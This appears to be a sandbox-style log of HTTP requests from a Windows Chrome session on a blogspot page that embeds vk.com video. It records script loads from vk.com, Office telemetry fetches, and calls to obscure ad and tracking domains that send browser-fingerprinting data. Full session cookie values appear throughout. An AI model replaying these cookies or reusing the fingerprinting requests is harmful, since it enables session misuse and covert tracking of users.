Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit-icons.57d97a75.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/react.6a15a5cc.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/api/widgets/chunks/c3d11fba.0833d8a1.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/api/widgets/polyfills.0afb34f6.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkui.49fc589a.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /js/lang3_2.js?28815759 HTTP/1.1Host: vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/video_ext.4206c448.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /js/al/lite.js?108 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239242&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/state-management.e532e667.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/bootstrap.ef881778.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/defaultSkin.min.js HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6ac-df7c"If-Modified-Since: Wed, 09 Oct 2024 15:52:12 GMT
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/defaultSkin.min.js HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /?rb=GYyCU8wcSyU6mZu280uS0WdxT5lfTch19qonlYUl8wqJX0iBetkzTQkLiEbb-T0RdiPv_zVheZ9Sdu6jefnjiUeXQc5gFm4D9wc8Ge8508iAwDp1adPYTz97S53arYWlN--8yJLc2P7ZgjPd3O4JOPSUEOv_ucT8FV7UQzRI3MLfNMcadOG40FqFyqGhXOs6IBsGrtL4GXE7txk5SlkRdj0YRPLj7wouN4a_Mhgk-FI5Ev6pIEfmAFJlGU7KN6Y2sgE48Qa43LNUatnlquW37-om75jlmklUhuy5rzbr5DWumA4Ep4aAgrzwDwOdxMz-dbj88IKp4DwhS1A-LD6tapycH_k%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=-1&wh=-1&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F78.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=true&pnt=0&pnrc=0&bml=1&bmi=1&wasm=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945603
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/architecture-mobx.b95ff7c7.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/common.8ff2658b.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit.ce416d7d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/audioplayer-lib.bc13de6d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=f2f49fd4c0434a65982f5e4c1488d6fd&zoneId=8165884&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/shopify.0360ab85.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/public/al/lite.f8081c5724ea3c8f7503758696b1108c.js?108 HTTP/1.1Host: vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/core_spa.4fde94d6.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/b867618a.87f1527d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/ddeb46d0.004a9a62.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit-icons.57d97a75.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%5D%2C%22uniqueId%22%3A258219922.15760472%7D
Source: global traffic	HTTP traffic detected: GET /js/al/lite.js?108 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239246&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
